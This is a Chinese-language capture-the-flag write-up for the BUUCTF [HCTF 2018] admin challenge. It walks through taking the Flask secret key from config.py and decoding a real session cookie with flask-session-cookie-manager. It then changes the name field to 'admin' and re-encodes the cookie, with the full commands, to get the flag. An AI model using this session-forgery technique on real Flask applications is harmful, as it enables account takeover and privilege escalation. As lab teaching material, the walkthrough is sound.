1.发现
1.1将每个界面源代码看一遍,发现提示要注册登录。
1.2注册登录后查看各节目源代码,发现一个提示,后面用到。
1.3 在change源代码中,发现提示,下载文件。
1.4 通过第一个提示打开下载文件中的index.html文件,分析代码,发现如果session等于admin就出hctf{},即flag。
而提示flask就有用了,flask是轻量级web框架,session存在客户端,我们可以伪造session(cookie)。
{% include('header.html') %} {% if current_user.is_authenticated %} <h1 class="nav">Hello {{ session['name'] }}</h1> {% endif %} {% if current_user.is_authenticated and session['name'] == 'admin' %} <h1 class="nav">hctf{xxxxxxxxx}</h1> {% endif %} <!-- you are not admin --> <h1 class="nav">Welcome to hctf</h1> {% include('footer.html') %}
知识点:
1)Flask 会话 Cookie 解码器/编码器的安装与使用。
2.步骤
2.1在config.py中得到secret key
2.2 在网页中随便提取得到Cookie.
2.3 解密
python flask_session_cookie_manager3.py decode -s 'ckj123' -c ".eJw9kMFqwkAURX-lvLWLZBI3ggvLVBth3hB5MczbiDUxccaxNCqSiP_eqQXXh3vg3Dts9l19bmFy6a71CDaHCiZ3ePuCCSiBlmndKmsGpDxCmlsc2KKsDki7FMuVQ-siJnRqsW5ZzhKWq1ZLdOizXlPllPwYcJgNRhQ9S3NDuRsbwV4FD9u8D_vUlEvHZXD_eWQhkIpelUWKkq0p8wQXgfn50VB-05T3WhaJEuujESurbOXYmyk8RrA7d_vN5dvVp1eCpixmYq9pGVKqlm0ThYlncokaVKro3bJsYrXgo_HotczGeJs-dQe_beqXiT7nPzr_J6etDwBikcAIrue6e74GcQSPX8TKa-o.YR7E1g.yceXorVB7JToX1UUNrdBIPfMgJM"
2.4 将name改为admin,再加密,得到新的session值。
python flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'3cce5a26354451c76c47b5785dd694e3d0ead07d4a83d6b297d013703ce2d60479cff36cf42698abdeac53d0565521e846cad74ac6aea409428573eecdc27dff', 'csrf_token': b'925e6f92ce7af8427fe9733810cd850febcf8297', 'image': b'Lqj9', 'name': 'admin', 'user_id': '10'}"
2.5将加密后的session输回去,然后返回index主页就可以得到flag。
3.借鉴
(16条消息) BUUCTF [HCTF 2018]admin 1_wow小华的博客-CSDN博客
https://github.com/noraj/flask-session-cookie-manager